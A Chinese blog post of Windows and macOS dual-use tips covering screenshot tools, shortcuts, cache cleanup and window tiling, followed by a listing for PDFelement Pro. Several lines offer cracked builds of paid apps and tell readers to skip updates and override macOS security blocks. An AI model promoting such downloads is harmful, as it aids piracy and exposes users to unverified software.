,轻量、无感、不夹带私货。MacOS下一般我使用的是FastZIP,直接AppStore搜索安装免费版即可。②、截图软件WINDOWS下的截图软件就太多了,五花八门,Snipaste、微信截图、QQ截图等等。但是有个问题是快捷键,如何在两个平台下统一使用相同的快捷键,让两个系统平滑无感过度,这个就很重要了,否则就有可能因为快捷键的不统一导致两个平台的切换有非常大的隔离感,非常影响使用手感及心情。我的解决方案是这样的:找都可以自定义快捷键的截图工具,并把它分在两个平台下都设置为一样的快捷键即可。windows下我使用的是: VeryCapture ,这款软件可以截图、录制视频、制作 GIF等(基础版免费功能),还可以进行 OCR 文字识别和翻译内容(专业版收费)。MacOS下我使用的是:iShot,截图、长截图、全屏带壳截图、贴图、标注、取色、录屏、录音、OCR、翻译等,应有尽有。这个软件也有分免费版iShot和收费版iShot Pro,可以直接在MacOS的应用商城直接搜索安装,也可以下载我提供的激活版:iShot Pro iShot Pro 注册版 ③、系统清理Windows下这方面有好多人被上面提到的两个全家桶荼毒已久,我来说下我的使用经验吧:杀毒工具我只装了一个火绒,用它最主要的一个功能是禁止各种弹窗,杀毒倒是次要的,因为只要你习惯好,一般也不会有太大的问题。删除软件我会直接到控制面板的添加删除程序去删除即可。至于清理垃圾,我纯手工。当然,一般人我不建议这样玩,万一你把重要的系统文件删了极有可能导致系统玩崩。不过根据我多年经验,下面这些目录你是可以定期清理的:C:\Windows\Temp%temp%(直接运行输入,相当于是C:\Users\你的用户名\AppData\Local\Temp)上面两个都是临时缓存文件,定期清理即可。C:\Windows\SoftwareDistribution\Download这个是系统更新缓存目录(更新后残留,占用空间大)C:$Recycle.Bin回收站目录(手动删除,最易忽略)C:\Users\你的用户名\AppData\Local\Microsoft\Edge\User Data\Default\CacheEdge 浏览器浏览网页产生的图片、视频缓存,删除后仅会导致下次浏览相同网页时重新加载,不影响书签、密码。C:\Users\你的用户名\AppData\Local\Google\Chrome\User Data\Default\Cache同Edge 浏览器C:\Windows\Logs打开路径,删除后缀为.log的旧文件,无需全部删除,避免后续排查故障无记录。C:\Windows\Prefetch系统预读常用程序的文件,加快启动速度,删除后系统会重新生成,短期可能启动稍慢,长期无影响,可定期清理。macOS:比较有名的清理及卸载工具有:CleanMyMac X,不过我没用它,太臃肿不说,更新也太频繁。有喜欢的可以到下面链接下载我准备的免激活版:CleanMyMac X 免激活注册版 我使用的是App Cleaner & Uninstaller Pro这是一个更加轻便的清理及卸载工具,聚焦应用相关优化,管理启动项、扩展、后台进程,通过减少开机加载项提升启动速度,专业度高、可控性强。它只专注应用程序的管理。有需要的可以到下面的链接下载我准备的免激活版:App Cleaner & Uninstaller Pro 直装破解版二、使用习惯1、这里我就拿截图工具来作开场:假如你两个平台下使用一样的快捷键进行截图,那么无论如何你都会有一种很丝滑的感觉,没有剥离感。大家看到了我上面说的windows下的VeryCapture和MacOS下的iShot Pro,我都把它俩设置了一样的快捷键:Shift+Win+X(MacOS下则为Shift+Command+X),这样无论我当前所在的系统是哪一个,都能一样效率的使用截图操作。2、两者核心快捷键差异(高频操作)但是并不是所有的设置都能做到这样高度统一,所以对MacOS的快捷做一个深入的了解并熟悉还是很需要的。表格里关于截图是系统自带的功能,有兴趣的也可以试试。但是为了双平台互切无感,所以我还是建议使用第三方的截图工具。3、快捷键统一方法(优先贴合 Windows 习惯)为什么要优先贴合windows呢?因为我经过测试,windows的快捷键经过深度绑定,已经在底层锁死了,想改真的是难上加难。不是说不能改,而是你懂那种改了之后,有时能用有时不能用的痛苦么?像得了神经病,让人抓狂。而反观,MacOS在这方倒是显得很“大方”,它允许变更好多系统自带的各种快捷键。重点修改的快捷键:输入法切换:改为 win+空格(与 Windows 一致);设置路径:系统设置--键盘--键盘快捷键--输入法复制 / 粘贴 / 剪切 / 全选 / 撤销:保持默认(Command+C/V/X/A/Z),因为 Command 键位置与 Windows 的 Ctrl 键位置接近,容易适应,无需修改;关闭窗口:可改为 Alt+F4(与 Windows 一致);锁屏:可改为 Win+L(若连接 Windows 键盘,Win 键对应 macOS 的 Command 键,可设置为 Command+L);重新命名:可改为 F2(与 Windows 一致);设置路径:系统设置--键盘--键盘快捷键--APP快捷键切换窗口:windows下为alt+tabmacos下要单独细说,假如你用的是macbook pro本身,那么它自带的触摸板三指往上划,就可以打开调度中心,平铺所有打开的应用窗口让你选择。但是因为macbook pro的屏幕实在太小,我都是接了4K屏使用的,正常状态下笔记本盖子是盒上的。所以我是另外采购一个苹果的妙控板来使用。但是键盘的切换方式也是可以的,为command+tab,不过我总觉得没有WINDOWS下的好用,因为command+tab只显示一个图标,很不直观。这里我们可以把调度中心快捷键设置一下,比如把它设置成F3,这样只要我按下F3,就能实现触摸板三指上划一样的效果,非常直观方便:调度中心设置快捷键:不过我还是建议大家采购一块苹果的妙控板来配合使用,用过都说好,虽然很贵。触控板功能强大,支持多手势操作(三指上滑调出调度中心、三指左右滑动切换桌面、双指捏合放大 / 缩小、双指点击调出右键菜单等),无需鼠标也可高效操作,是 macOS 的核心优势。三、进阶技巧1、双系统通用技巧(适合双系统用户)文件互传:这方面没有什么是一个小巧的NAS不能解决的。跨系统同步:浏览器书签同步(使用 Chrome、Edge 等浏览器,登录同一账号,同步书签、密码);输入法词库同步(搜狗输入法、百度输入法,登录账号同步词库、皮肤);办公文件同步(使用群晖Synology Drive同步套件)。键盘统一:使用机械键盘(支持双系统适配),在 macOS 和 Windows 中分别设置键盘布局,实现按键一致,无需更换键盘即可适应双系统操作。二、macOS 适配 Windows 用户的隐藏技巧模拟 Windows “此电脑”:在访达左侧栏,点击 “前往 - 电脑”,即可看到 macOS 的 “磁盘”(类似 Windows 的 C/D 盘),可直接管理文件,与 Windows 的 “此电脑” 操作逻辑一致。显示文件后缀名:Windows 可以显示文件后缀名(如.doc、.jpg),macOS 也可通过 “访达 - 显示 - 显示文件扩展名” 调出,避免误操作(如混淆文档格式)。自定义 Dock 栏:将常用软件、文件夹拖拽到 Dock 栏,模拟 Windows 的任务栏,调整大小,贴合自己的使用习惯。关闭 “自动纠正”:macOS 默认开启输入法自动纠正、首字母大写,若习惯 Windows 的输入法逻辑,可在 “系统设置 - 键盘 - 文本输入” 中,关闭 “自动纠正拼写”“首字母自动大写”。2、窗口分屏相信使用过windows的人都知道,这是系统极为方便的一种操作方式,它可以让多系统平分屏幕,一左一右,或者上下,或者四等分。这在核对多个文档数据或者其它一些比对工作的时候,能极大的提高效率。耐何MacOS下这个简单的功能反而没有。不过我们可以借助第三方工具实现:Magnet可以让你对程序窗口进行各种排布:你可以使用设置好的快捷键直接让当前程序窗口切换,也可以用鼠标拖拽当前窗口进行适配,相当好用。在这里推荐给大家:MacOS窗口切分工具 Magnet Pro 免激活版 这是一个长期的整理资料,未完待续...
2026年04月05日
18 阅读
0 评论
0 点赞
2026-04-04
Wondershare PDFelement Pro 万兴PDF专家(Win&Mac) v12.1.10
PDFelement是macOS&Windows系统上一款优秀的PDF编辑工具,简单易用但功能强大,支持创建、编辑、标记、转换PDF文件,支持OCR图片文字识别,功能绝对不比Acrobat逊色,由知名Wondershare公司出品,非常不错的一款PDF编辑工具!注意事项{message type="warning" content="1.提示更新,请选择跳过这个版本,不要更新!不要更新!!2.已破解全部内购功能,无须登陆!弹出官方购买网页直接关掉无视即可。"/}常见问题{message type="error" content="注意:破解软件不可以自己更新升级!更新升级破解软件等同于重新下载付费版!!!首次打开软件后,把“自动更新”的选项都去掉,如果提示新版本要不要下载的,一定要“跳过”!!!如果你不跳过,等同于下载了付费版。进入软件后,一定要检查一下软件的设置,取消软件的自动更新功能!"/}{message type="warning" content="安装方法请按照下载包内附件说明进行安装此版本包含 windows 及 macos 两个平台版本,按需下载.MACOS系统如果提示不安全,需要到设置-隐私与安全性-安全性-已阻止使用 按一下仍要打开就行了"/}{message type="success" content="下载地址:百度网盘"/}
2026年04月04日
13 阅读
0 评论
0 点赞
1
2
...
5